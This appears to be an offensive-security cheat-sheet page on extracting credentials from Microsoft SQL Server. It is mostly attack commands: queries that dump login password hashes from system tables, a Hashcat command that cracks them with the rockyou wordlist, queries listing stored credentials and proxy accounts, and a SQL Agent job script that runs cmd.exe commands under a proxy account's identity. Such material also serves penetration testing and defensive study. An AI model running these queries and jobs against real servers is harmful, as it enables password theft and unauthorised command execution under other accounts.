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MSSQL - Credentials

Summary

MSSQL Accounts and Hashes

  • MSSQL 2000 

    SELECT name, password FROM master..sysxlogins
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins 
-- (Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.)

  • MSSQL 2005 

    SELECT name, password_hash FROM master.sys.sql_logins
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins

Then crack passwords using Hashcat : hashcat -m 1731 -a 0 mssql_hashes_hashcat.txt /usr/share/wordlists/rockyou.txt --force

Hash-Mode Hash-Name Example
131 MSSQL (2000) 0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578
132 MSSQL (2005) 0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe
1731 MSSQL (2012, 2014) 0x02000102030434ea1b17802fd95ea6316bd61d2c94622ca3812793e8fb1672487b5c904a45a31b2ab4a78890d563d2fcf5663e46fe797d71550494be50cf4915d3f4d55ec375

List Credentials on the SQL Server

  • List credentials configured on the SQL Server instance 

    SELECT * FROM sys.credentials

  • List proxy accounts 

    USE msdb; 
GO 

SELECT  
    proxy_id, 
    name AS proxy_name, 
    credential_id, 
    enabled 
FROM  
    dbo.sysproxies; 
GO

  • dataplat/dbatools/Get-DecryptedObject.ps1

Proxy Account Context

Agent Job using the registered proxy credential.

USE msdb; 
GO 

-- Create the job 
EXEC sp_add_job  
  @job_name = N'WhoAmIJob'; -- Name of the job 

-- Add a job step that uses the proxy to execute the whoami command 
EXEC sp_add_jobstep  
  @job_name = N'WhoAmIJob',  
  @step_name = N'ExecuteWhoAmI',  
  @subsystem = N'CmdExec',          
  @command = N'c:\windows\system32\cmd.exe /c whoami > c:\windows\temp\whoami.txt',           
  @on_success_action = 1,         -- 1 = Quit with success 
  @on_fail_action = 2,                     -- 2 = Quit with failure 
  @proxy_name = N'MyCredentialProxy';     -- The proxy created earlier 

-- Add a schedule to the job (optional, can be manual or scheduled) 
EXEC sp_add_jobschedule  
  @job_name = N'WhoAmIJob',  
  @name = N'RunOnce',  
  @freq_type = 1,             -- 1 = Once 
  @active_start_date = 20240820,       
  @active_start_time = 120000;            

-- Add the job to the SQL Server Agent 
EXEC sp_add_jobserver  
  @job_name = N'WhoAmIJob',  
  @server_name = N'(LOCAL)';

Execute the Agent job so that a process will be started in the context of the proxy account and execute your code/command. EXEC sp_start_job @job_name = N'WhoAmIJob';

References